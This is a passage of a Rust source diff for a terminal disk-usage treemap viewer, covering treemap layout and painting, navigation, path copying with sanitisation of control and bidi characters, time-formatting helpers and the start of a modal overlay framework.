Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn zoom_into_selection(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
if is_group(self.sel) {
|
||||||
|
// Groups cannot be zoomed: show their members in the list view.
|
||||||
|
if let Some(g) = self.group_info(self.sel) {
|
||||||
|
if let Some(&first) = g.ids().first() {
|
||||||
|
self.sel = first as i64;
|
||||||
|
self.set_view_by_name("List");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id == NO_NODE {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if !tr.node(id).is_dir() {
|
||||||
|
return self.info("Not a directory — Enter shows details");
|
||||||
|
}
|
||||||
|
if self.kids_of(tr, id).ids.is_empty() {
|
||||||
|
return self.info("Directory is empty");
|
||||||
|
}
|
||||||
|
self.zoom_to(tr, id);
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn zoom_out(&mut self, tr: &Tree) {
|
||||||
|
let p = tr.node(self.zoom).parent;
|
||||||
|
if p != NO_NODE {
|
||||||
|
self.zoom_to(tr, p);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Zooms to a node's parent directory and selects it.
|
||||||
|
pub fn jump_to(&mut self, tr: &Tree, id: NodeId) {
|
||||||
|
let p = tr.node(id).parent;
|
||||||
|
if p == NO_NODE {
|
||||||
|
self.zoom_to(tr, id);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.zoom_to(tr, p);
|
||||||
|
self.sel = id as i64;
|
||||||
|
self.set_view_by_name("Map");
|
||||||
|
}
|
||||||
|
|
||||||
|
fn copy_selected(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id == NO_NODE {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
self.copy_path(&tr.path_bytes(id))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Puts p on the clipboard (OSC 52). Paths that would not survive
|
||||||
|
/// display unchanged are refused: a newline in a hostile filename runs
|
||||||
|
/// commands when pasted into a shell, and bidi controls disguise them.
|
||||||
|
pub fn copy_path(&mut self, p: &[u8]) -> Cmd {
|
||||||
|
let s = san(p);
|
||||||
|
if s.as_bytes() != p {
|
||||||
|
return self.warn("Not copied: path contains control or bidi characters");
|
||||||
|
}
|
||||||
|
let i = self.info("Copied path to clipboard (OSC 52)");
|
||||||
|
Cmd::batch(vec![Cmd::Clipboard(s), i])
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn reveal(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
if self.snapshot {
|
||||||
|
return self.warn("Snapshot — the files may not exist on this machine");
|
||||||
|
}
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if id == NO_NODE {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if platform::headless() {
|
||||||
|
// No file manager: show the folder in the map instead.
|
||||||
|
if tr.node(id).is_dir() && !self.kids_of(tr, id).ids.is_empty() {
|
||||||
|
self.zoom_to(tr, id);
|
||||||
|
self.set_view_by_name("Map");
|
||||||
|
} else {
|
||||||
|
self.jump_to(tr, id);
|
||||||
|
}
|
||||||
|
let msg = format!("Showing {}", san(&tr.path_bytes(self.zoom)));
|
||||||
|
return self.info(msg);
|
||||||
|
}
|
||||||
|
if let Err(e) = platform::reveal(&tr.path(id)) {
|
||||||
|
return self.warn(format!("Open failed: {}", textutil::sanitize(&e.to_string())));
|
||||||
|
}
|
||||||
|
self.info("Opened in file manager")
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn save_snapshot(&mut self, path: String) -> Cmd {
|
||||||
|
let t = self.tree.clone();
|
||||||
|
Cmd::run(move || {
|
||||||
|
let err = {
|
||||||
|
let g = t.read().unwrap();
|
||||||
|
snapshot::save_file(Path::new(&path), &g).err().map(|e| e.to_string())
|
||||||
|
};
|
||||||
|
Msg::SaveDone { path, err }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn default_snapshot_name(root: &[u8]) -> String {
|
||||||
|
let p = Path::new(OsStr::from_bytes(root));
|
||||||
|
let base = match p.file_name() {
|
||||||
|
Some(b) => String::from_utf8_lossy(b.as_bytes()).into_owned(),
|
||||||
|
None => "root".into(),
|
||||||
|
};
|
||||||
|
let wd = std::env::current_dir().unwrap_or_default();
|
||||||
|
wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT)).to_string_lossy().into_owned()
|
||||||
|
}
|
||||||
@@ -0,0 +1,383 @@
|
|||||||
|
//! The treemap view: layout with level-of-detail grouping, nested previews
|
||||||
|
//! inside directories, painting and spatial navigation.
|
||||||
|
|
||||||
|
use super::canvas::{rgb, Canvas, Style, BOLD, BOX_ROUND, FAINT};
|
||||||
|
use super::data::Kids;
|
||||||
|
use super::model::{group_id, is_group, Cmd, Hit, HitAct, Model};
|
||||||
|
use super::render::kind_label;
|
||||||
|
use super::{san, trunc, tw};
|
||||||
|
use crate::inventory::{NodeId, Tree, NO_NODE};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::{self, Block, Direction, Item, Rect};
|
||||||
|
use std::collections::{HashMap, HashSet};
|
||||||
|
use std::rc::Rc;
|
||||||
|
|
||||||
|
/// The treemap geometry for one (zoom, rect, data version). It is recomputed
|
||||||
|
/// from scratch whenever any of those change — after a resize the layout
|
||||||
|
/// algorithm runs again for the new rectangle rather than scaling the old
|
||||||
|
/// one.
|
||||||
|
pub(crate) struct TmLayout {
|
||||||
|
pub zoom: NodeId,
|
||||||
|
pub rect: Rect,
|
||||||
|
pub ver: u64,
|
||||||
|
pub blocks: Vec<Block>, // top level: navigable
|
||||||
|
pub nested: Vec<Nested>, // previews inside directories: drawn only
|
||||||
|
pub groups: HashMap<i64, Group>,
|
||||||
|
pub visible: HashSet<i64>,
|
||||||
|
pub inner: HashSet<i64>, // top-level blocks with nested previews
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub(crate) struct Nested {
|
||||||
|
pub id: i64,
|
||||||
|
pub r: Rect,
|
||||||
|
pub depth: i32,
|
||||||
|
pub alt: bool,
|
||||||
|
pub inner: bool, // has nested children drawn inside it
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An LOD group: the children of parent from index `from` on.
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub(crate) struct Group {
|
||||||
|
pub parent: NodeId,
|
||||||
|
kids: Rc<Kids>,
|
||||||
|
from: usize,
|
||||||
|
pub size: i64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Group {
|
||||||
|
pub fn ids(&self) -> &[NodeId] {
|
||||||
|
&self.kids.ids[self.from..]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LOD parameters.
|
||||||
|
pub(crate) const TOP_MIN_AREA: i32 = 12; // cells: room for a 4×3 framed block
|
||||||
|
const TOP_MAX_ITEMS: usize = 400;
|
||||||
|
const NEST_MIN_AREA: i32 = 3;
|
||||||
|
const NEST_MAX_ITEMS: usize = 120;
|
||||||
|
const MAX_NEST_DEPTH: i32 = 8; // block-size thresholds stop recursion long before this
|
||||||
|
const NEST_MIN_W: i32 = 4;
|
||||||
|
const NEST_MIN_H: i32 = 2;
|
||||||
|
const NEST_RECURSE_W: i32 = 14;
|
||||||
|
const NEST_RECURSE_H: i32 = 5;
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn layout_treemap(&mut self, tr: &Tree, r: Rect) -> Rc<TmLayout> {
|
||||||
|
if let Some(l) = &self.tm {
|
||||||
|
if l.zoom == self.zoom && l.rect == r && l.ver == self.data_ver {
|
||||||
|
return l.clone();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut l = TmLayout {
|
||||||
|
zoom: self.zoom, rect: r, ver: self.data_ver, blocks: Vec::new(), nested: Vec::new(),
|
||||||
|
groups: HashMap::new(), visible: HashSet::new(), inner: HashSet::new(),
|
||||||
|
};
|
||||||
|
l.blocks = self.layout_level(tr, &mut l, self.zoom, r, TOP_MIN_AREA, TOP_MAX_ITEMS);
|
||||||
|
for i in 0..l.blocks.len() {
|
||||||
|
let b = l.blocks[i];
|
||||||
|
l.visible.insert(b.id);
|
||||||
|
if b.id < 0 || b.rect.w < 3 || b.rect.h < 2 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if tr.node(b.id as NodeId).is_dir() {
|
||||||
|
let inn = b.rect.inset(1);
|
||||||
|
if inn.w >= NEST_MIN_W && inn.h >= NEST_MIN_H {
|
||||||
|
let before = l.nested.len();
|
||||||
|
let end = self.chain_end(tr, b.id as NodeId);
|
||||||
|
self.layout_nested(tr, &mut l, end, inn, 2);
|
||||||
|
if l.nested.len() > before {
|
||||||
|
l.inner.insert(b.id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let l = Rc::new(l);
|
||||||
|
self.tm = Some(l.clone());
|
||||||
|
l
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lays out the children of parent in r with level-of-detail grouping:
|
||||||
|
/// children too small to be useful collapse into one group block.
|
||||||
|
fn layout_level(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, min_area: i32, max_items: usize) -> Vec<Block> {
|
||||||
|
let k = self.kids_of(tr, parent);
|
||||||
|
if k.ids.is_empty() || r.empty() {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let sizes: Vec<f64> = k.sizes.iter().map(|&s| s as f64).collect();
|
||||||
|
let vis = treemap::visible(&sizes, k.total as f64, r.area(), min_area, max_items);
|
||||||
|
let mut items: Vec<Item> = (0..vis).map(|i| Item { id: k.ids[i] as i64, size: sizes[i] }).collect();
|
||||||
|
if vis < k.ids.len() {
|
||||||
|
let size = k.sizes[vis..].iter().sum();
|
||||||
|
let gid = group_id(parent);
|
||||||
|
l.groups.insert(gid, Group { parent, kids: k.clone(), from: vis, size });
|
||||||
|
items.push(Item { id: gid, size: size as f64 });
|
||||||
|
}
|
||||||
|
treemap::squarify(&items, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn layout_nested(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, depth: i32) {
|
||||||
|
// Deeper levels need bigger blocks to stay legible rather than noisy.
|
||||||
|
let blocks = self.layout_level(tr, l, parent, r, NEST_MIN_AREA * (depth - 1), NEST_MAX_ITEMS);
|
||||||
|
for (i, b) in blocks.iter().enumerate() {
|
||||||
|
let idx = l.nested.len();
|
||||||
|
l.nested.push(Nested { id: b.id, r: b.rect, depth, alt: i % 2 == 1, inner: false });
|
||||||
|
let br = b.rect;
|
||||||
|
if depth < MAX_NEST_DEPTH && b.id >= 0 && br.w >= NEST_RECURSE_W && br.h >= NEST_RECURSE_H && tr.node(b.id as NodeId).is_dir() {
|
||||||
|
l.nested[idx].inner = true;
|
||||||
|
let end = self.chain_end(tr, b.id as NodeId);
|
||||||
|
self.layout_nested(tr, l, end, Rect { x: br.x, y: br.y + 1, w: br.w - 1, h: br.h - 2 }, depth + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Follows directories whose only non-empty child is a directory
|
||||||
|
/// (mnt → raid → media), so nesting spends its space on the level that
|
||||||
|
/// actually branches instead of on full-size wrappers.
|
||||||
|
pub fn chain_end(&mut self, tr: &Tree, mut id: NodeId) -> NodeId {
|
||||||
|
loop {
|
||||||
|
let k = self.kids_of(tr, id);
|
||||||
|
if k.ids.len() != 1 || !tr.node(k.ids[0]).is_dir() {
|
||||||
|
return id;
|
||||||
|
}
|
||||||
|
id = k.ids[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The LOD group for a group ID in the current layout.
|
||||||
|
pub fn group_info(&self, id: i64) -> Option<Group> {
|
||||||
|
self.tm.as_ref()?.groups.get(&id).cloned()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A sanitised display name for a block.
|
||||||
|
pub fn block_name(&mut self, tr: &Tree, id: i64) -> String {
|
||||||
|
if is_group(id) {
|
||||||
|
return match self.group_info(id) {
|
||||||
|
Some(g) => textutil::count(g.ids().len() as i64) + " smaller items",
|
||||||
|
None => "smaller items".into(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
let mut nid = id as NodeId;
|
||||||
|
let n = tr.node(nid);
|
||||||
|
let mut name = san(&n.name);
|
||||||
|
if n.is_dir() && nid != 0 {
|
||||||
|
name.push('/');
|
||||||
|
let end = self.chain_end(tr, nid);
|
||||||
|
while nid != end {
|
||||||
|
nid = self.kids_of(tr, nid).ids[0];
|
||||||
|
name += &san(&tr.node(nid).name);
|
||||||
|
name.push('/');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
name
|
||||||
|
}
|
||||||
|
|
||||||
|
fn block_size(&self, tr: &Tree, id: i64) -> i64 {
|
||||||
|
if is_group(id) {
|
||||||
|
return self.group_info(id).map_or(0, |g| g.size);
|
||||||
|
}
|
||||||
|
self.size_of(tr, id as NodeId)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The size of the folder a block sits in.
|
||||||
|
fn parent_size(&self, tr: &Tree, id: i64) -> i64 {
|
||||||
|
if is_group(id) {
|
||||||
|
return self.group_info(id).map_or(0, |g| self.size_of(tr, g.parent));
|
||||||
|
}
|
||||||
|
let p = tr.node(id as NodeId).parent;
|
||||||
|
if p != NO_NODE {
|
||||||
|
return self.size_of(tr, p);
|
||||||
|
}
|
||||||
|
0
|
||||||
|
}
|
||||||
|
|
||||||
|
fn paint_top(&mut self, tr: &Tree, cv: &mut Canvas, b: Block, sel: bool, hov: bool, total: i64) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
let base = self.color_of(tr, b.id);
|
||||||
|
let fill = base.mix(t.bg, 0.62);
|
||||||
|
let fill_ch = if !is_group(b.id) {
|
||||||
|
" "
|
||||||
|
} else if t.ascii {
|
||||||
|
"."
|
||||||
|
} else {
|
||||||
|
"░"
|
||||||
|
};
|
||||||
|
let name = self.block_name(tr, b.id);
|
||||||
|
let size = self.block_size(tr, b.id);
|
||||||
|
let r = b.rect;
|
||||||
|
if r.w < 3 || r.h < 2 {
|
||||||
|
// Too small for a frame: a solid tile.
|
||||||
|
let mut st = Style::new(base, base.mix(t.bg, 0.3));
|
||||||
|
let mut ch = fill_ch;
|
||||||
|
if sel {
|
||||||
|
st = Style::new(t.text_on(t.sel), t.sel).with(BOLD | self.mono_rev());
|
||||||
|
ch = if t.ascii { "#" } else { "◆" };
|
||||||
|
} else if t.mono {
|
||||||
|
ch = "▒";
|
||||||
|
}
|
||||||
|
cv.fill(r, " ", st);
|
||||||
|
cv.text(r.x + (r.w - 1) / 2, r.y + (r.h - 1) / 2, ch, 1, st);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
cv.fill(r, fill_ch, Style::new(base.mix(t.bg, 0.35), fill));
|
||||||
|
let mut frame = Style::new(base.mix(t.bg, 0.15), fill);
|
||||||
|
let mut bx = t.box_chars();
|
||||||
|
let mut title = Style::new(base.mix(rgb(255, 255, 255), 0.35), fill).with(BOLD);
|
||||||
|
if sel {
|
||||||
|
bx = t.sel_box();
|
||||||
|
frame = Style::new(t.sel, fill).with(BOLD);
|
||||||
|
title = Style::new(t.text_on(t.sel), t.sel).with(BOLD | self.mono_rev());
|
||||||
|
} else if hov {
|
||||||
|
frame.fg = base.mix(rgb(255, 255, 255), 0.5);
|
||||||
|
}
|
||||||
|
if t.mono && !sel {
|
||||||
|
title.attr = BOLD;
|
||||||
|
}
|
||||||
|
cv.draw_box(r, bx, frame);
|
||||||
|
cv.text(r.x + 1, r.y, &trunc(&format!(" {name} "), r.w - 2), r.w - 2, title);
|
||||||
|
|
||||||
|
let mut label = textutil::size(size);
|
||||||
|
let pct = textutil::percent(size, total);
|
||||||
|
if r.w - 2 >= tw(&label) + tw(&pct) + 5 {
|
||||||
|
label += &format!(" · {pct}");
|
||||||
|
} else if r.w - 2 < tw(&label) + 2 {
|
||||||
|
label = textutil::size_compact(size);
|
||||||
|
}
|
||||||
|
let label = format!(" {label} ");
|
||||||
|
if r.h >= 3 && tw(&label) <= r.w - 2 {
|
||||||
|
cv.text_right(r.x + 1, r.y + r.h - 1, r.w - 2, &label, Style { fg: frame.fg, bg: fill, attr: frame.attr });
|
||||||
|
}
|
||||||
|
// Interior labels for blocks without nested previews.
|
||||||
|
let inn = r.inset(1);
|
||||||
|
if inn.empty() || self.has_nested(b.id) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
if !is_group(b.id) {
|
||||||
|
let nd = tr.node(b.id as NodeId);
|
||||||
|
if !nd.is_dir() {
|
||||||
|
lines.push(kind_label(nd));
|
||||||
|
} else if nd.files > 0 {
|
||||||
|
lines.push(textutil::count(nd.files as i64) + " files");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if r.h < 4 || inn.w < 6 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let y0 = inn.y + (inn.h - lines.len() as i32) / 2;
|
||||||
|
for (i, s) in lines.iter().enumerate() {
|
||||||
|
cv.text_centered(inn.x, y0 + i as i32, inn.w, s, Style::new(base.mix(t.fg, 0.4), fill));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn has_nested(&self, id: i64) -> bool {
|
||||||
|
self.tm.as_ref().is_some_and(|l| l.inner.contains(&id))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn paint_nested(&mut self, tr: &Tree, cv: &mut Canvas, nb: &Nested) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
let base = self.color_of(tr, nb.id);
|
||||||
|
let mut f = (0.38 - 0.1 * (nb.depth - 2) as f64).max(0.1);
|
||||||
|
if nb.alt {
|
||||||
|
f += 0.07;
|
||||||
|
}
|
||||||
|
let bg = base.mix(t.bg, f);
|
||||||
|
let shadow = bg.mix(rgb(0, 0, 0), 0.45);
|
||||||
|
let mut st = Style::new(t.text_on(bg), bg);
|
||||||
|
let mut ch = " ";
|
||||||
|
if is_group(nb.id) {
|
||||||
|
ch = if t.ascii { "." } else { "░" };
|
||||||
|
st.fg = bg.mix(t.fg, 0.25);
|
||||||
|
}
|
||||||
|
let r = nb.r;
|
||||||
|
cv.fill(r, ch, st);
|
||||||
|
if t.mono {
|
||||||
|
// No colour: draw a light outline so neighbours stay distinguishable.
|
||||||
|
if r.w >= 2 && r.h >= 2 {
|
||||||
|
cv.draw_box(r, BOX_ROUND, Style::default().with(FAINT));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if r.w >= 4 {
|
||||||
|
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, " ", Style::new(Default::default(), shadow));
|
||||||
|
}
|
||||||
|
if r.h >= 3 {
|
||||||
|
cv.fill(Rect { x: r.x, y: r.y + r.h - 1, w: r.w, h: 1 }, " ", Style::new(Default::default(), shadow));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let lw = if t.mono { r.w - 2 } else { r.w - 1 };
|
||||||
|
if lw < 5 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let lx = if t.mono { r.x + 1 } else { r.x };
|
||||||
|
let ly = if t.mono && r.h >= 3 { r.y + 1 } else { r.y };
|
||||||
|
let name = self.block_name(tr, nb.id);
|
||||||
|
if tw(&name) > lw && lw < 8 {
|
||||||
|
return; // a stub like "te…" is noise, not information
|
||||||
|
}
|
||||||
|
cv.text(lx, ly, &trunc(&name, lw), lw, Style::new(st.fg, bg).with(BOLD));
|
||||||
|
if !nb.inner && r.h >= 3 && lw >= 5 {
|
||||||
|
let size = self.block_size(tr, nb.id);
|
||||||
|
let mut label = textutil::size_compact(size);
|
||||||
|
let pct = textutil::percent(size, self.parent_size(tr, nb.id));
|
||||||
|
if tw(&label) + tw(&pct) + 3 <= lw {
|
||||||
|
label += &format!(" · {pct}");
|
||||||
|
}
|
||||||
|
cv.text(lx, ly + 1, &trunc(&label, lw), lw, Style::new(bg.mix(st.fg, 0.7), bg));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let l = m.layout_treemap(tr, r);
|
||||||
|
if l.blocks.is_empty() {
|
||||||
|
let z = tr.node(m.zoom);
|
||||||
|
let msg = if m.search.query.is_some() {
|
||||||
|
"No matches here — Esc clears the filter".to_string()
|
||||||
|
} else if m.scanning {
|
||||||
|
"Scanning…".to_string()
|
||||||
|
} else if !z.is_dir() {
|
||||||
|
format!("{} — {}", san(&z.name), textutil::size(m.size_of(tr, m.zoom)))
|
||||||
|
} else {
|
||||||
|
"Empty directory".to_string()
|
||||||
|
};
|
||||||
|
cv.text_centered(r.x, r.y + r.h / 2, r.w, &msg, t.muted());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let sel = m.visible_sel(&l.visible);
|
||||||
|
let total = m.size_of(tr, m.zoom);
|
||||||
|
for b in &l.blocks {
|
||||||
|
let hov = b.id == m.hover;
|
||||||
|
m.paint_top(tr, cv, *b, b.id == sel, hov, total);
|
||||||
|
}
|
||||||
|
for nb in &l.nested {
|
||||||
|
m.paint_nested(tr, cv, nb);
|
||||||
|
}
|
||||||
|
for b in &l.blocks {
|
||||||
|
m.hits.push(Hit { r: b.rect, act: HitAct::Block(b.id) });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn map_key(m: &mut Model, k: &str) -> (bool, Cmd) {
|
||||||
|
let d = match k {
|
||||||
|
"left" | "h" => Direction::Left,
|
||||||
|
"right" | "l" => Direction::Right,
|
||||||
|
"up" | "k" => Direction::Up,
|
||||||
|
"down" | "j" => Direction::Down,
|
||||||
|
_ => return (false, Cmd::None),
|
||||||
|
};
|
||||||
|
if let Some(l) = m.tm.clone() {
|
||||||
|
if let Some(id) = treemap::neighbour(&l.blocks, m.visible_sel(&l.visible), d) {
|
||||||
|
m.sel = id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(true, Cmd::None)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn map_wheel(m: &mut Model, tr: &Tree, up: bool) -> Cmd {
|
||||||
|
if up {
|
||||||
|
return m.zoom_into_selection(tr);
|
||||||
|
}
|
||||||
|
m.zoom_out(tr);
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
//! The interactive terminal interface. All drawing goes to a Canvas; the
|
||||||
|
//! event loop (run.rs) only transports the finished frame to the terminal.
|
||||||
|
|
||||||
|
mod actions;
|
||||||
|
pub mod bench;
|
||||||
|
mod canvas;
|
||||||
|
mod color256;
|
||||||
|
mod data;
|
||||||
|
mod infoview;
|
||||||
|
mod keys;
|
||||||
|
mod mapview;
|
||||||
|
mod modal;
|
||||||
|
mod modals;
|
||||||
|
mod model;
|
||||||
|
mod mouse;
|
||||||
|
mod render;
|
||||||
|
mod run;
|
||||||
|
mod search;
|
||||||
|
mod side;
|
||||||
|
mod table;
|
||||||
|
mod theme;
|
||||||
|
mod views;
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests;
|
||||||
|
|
||||||
|
pub use model::{Options, StartFn};
|
||||||
|
pub use run::run;
|
||||||
|
|
||||||
|
use crate::textutil;
|
||||||
|
|
||||||
|
// Width-aware text helpers taking the canvas's signed cell counts.
|
||||||
|
|
||||||
|
pub(crate) fn tw(s: &str) -> i32 {
|
||||||
|
textutil::width(s) as i32
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn trunc(s: &str, w: i32) -> String {
|
||||||
|
textutil::truncate(s, w.max(0) as usize)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn trunc_left(s: &str, w: i32) -> String {
|
||||||
|
textutil::truncate_left(s, w.max(0) as usize)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn pad_left(s: &str, w: i32) -> String {
|
||||||
|
textutil::pad_left(s, w.max(0) as usize)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn pad_right(s: &str, w: i32) -> String {
|
||||||
|
textutil::pad_right(s, w.max(0) as usize)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn san(b: &[u8]) -> String {
|
||||||
|
textutil::sanitize_bytes(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether decimal (SI) units are selected. textutil keeps the switch
|
||||||
|
/// private, so it is inferred from the formatting.
|
||||||
|
pub(crate) fn si_units() -> bool {
|
||||||
|
textutil::size(1000).ends_with("kB")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn local_tm(unix_nanos: i64) -> libc::tm {
|
||||||
|
let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t;
|
||||||
|
let mut tm: libc::tm = unsafe { std::mem::zeroed() };
|
||||||
|
unsafe { libc::localtime_r(&secs, &mut tm) };
|
||||||
|
tm
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Formats a timestamp as a local date ("2006-01-02").
|
||||||
|
pub(crate) fn fmt_date(unix_nanos: i64) -> String {
|
||||||
|
let t = local_tm(unix_nanos);
|
||||||
|
format!("{:04}-{:02}-{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Formats a timestamp as local date and time ("2006-01-02 15:04:05").
|
||||||
|
pub(crate) fn fmt_time(unix_nanos: i64) -> String {
|
||||||
|
let t = local_tm(unix_nanos);
|
||||||
|
format!("{:04}-{:02}-{:02} {:02}:{:02}:{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The current local time as "20060102-1504".
|
||||||
|
pub(crate) fn fmt_stamp_now() -> String {
|
||||||
|
let now = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default();
|
||||||
|
let t = local_tm(now.as_nanos() as i64);
|
||||||
|
format!("{:04}{:02}{:02}-{:02}{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min)
|
||||||
|
}
|
||||||
@@ -0,0 +1,229 @@
|
|||||||
|
//! The generic modal frame: a centred, clamped, scrollable overlay.
|
||||||
|
|
||||||
|
use super::canvas::{rgb, Canvas, Style, BOLD, BOX_ASCII, BOX_ROUND, FAINT};
|
||||||
|
use super::model::{Cmd, Hit, HitAct, Key, Model};
|
||||||
|
use super::pad_right;
|
||||||
|
use super::search::LineEditor;
|
||||||
|
use crate::inventory::Tree;
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
|
||||||
|
/// A run of styled text; a line is a list of spans.
|
||||||
|
pub(crate) struct Span {
|
||||||
|
pub s: String,
|
||||||
|
pub st: Option<Style>, // None = modal default
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) type Line = Vec<Span>;
|
||||||
|
|
||||||
|
pub(crate) fn txt(s: impl Into<String>) -> Line {
|
||||||
|
vec![Span { s: s.into(), st: None }]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn styled(s: impl Into<String>, st: Style) -> Line {
|
||||||
|
vec![Span { s: s.into(), st: Some(st) }]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn kv(k: &str, v: impl Into<String>, kst: Style, vst: Style) -> Line {
|
||||||
|
vec![Span { s: pad_right(k, 18), st: Some(kst) }, Span { s: v.into(), st: Some(vst) }]
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An overlay. Modals receive all keys while open; Esc always closes them
|
||||||
|
/// (handled by the frame before the modal sees it, unless the modal is
|
||||||
|
/// editing text).
|
||||||
|
pub(crate) trait Modal {
|
||||||
|
fn title(&self) -> String;
|
||||||
|
/// Rebuilt every frame, so resizes reflow.
|
||||||
|
fn content(&self, m: &mut Model, tr: &Tree, width: i32) -> Vec<Line>;
|
||||||
|
fn footer(&self, m: &Model) -> String;
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd);
|
||||||
|
/// Preferred inner width.
|
||||||
|
fn width(&self) -> i32;
|
||||||
|
/// Modals that consume printable keys return their editor.
|
||||||
|
fn editor(&mut self) -> Option<&mut LineEditor> {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Wraps a modal with scroll state.
|
||||||
|
pub(crate) struct ModalFrame {
|
||||||
|
pub md: Box<dyn Modal>,
|
||||||
|
pub scroll: i32,
|
||||||
|
pub view_h: i32, // content rows visible in the last paint
|
||||||
|
pub content_n: i32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ModalFrame {
|
||||||
|
pub fn clamp_scroll(&mut self) {
|
||||||
|
self.scroll = 0.max(self.scroll.min(self.content_n - self.view_h));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn open_modal(&mut self, md: Box<dyn Modal>) {
|
||||||
|
self.modals.push(ModalFrame { md, scroll: 0, view_h: 0, content_n: 0 });
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn close_modal(&mut self) {
|
||||||
|
self.modals.pop();
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn modal_key(&mut self, tr: &Tree, key: &Key) -> Cmd {
|
||||||
|
let k = key.name.as_str();
|
||||||
|
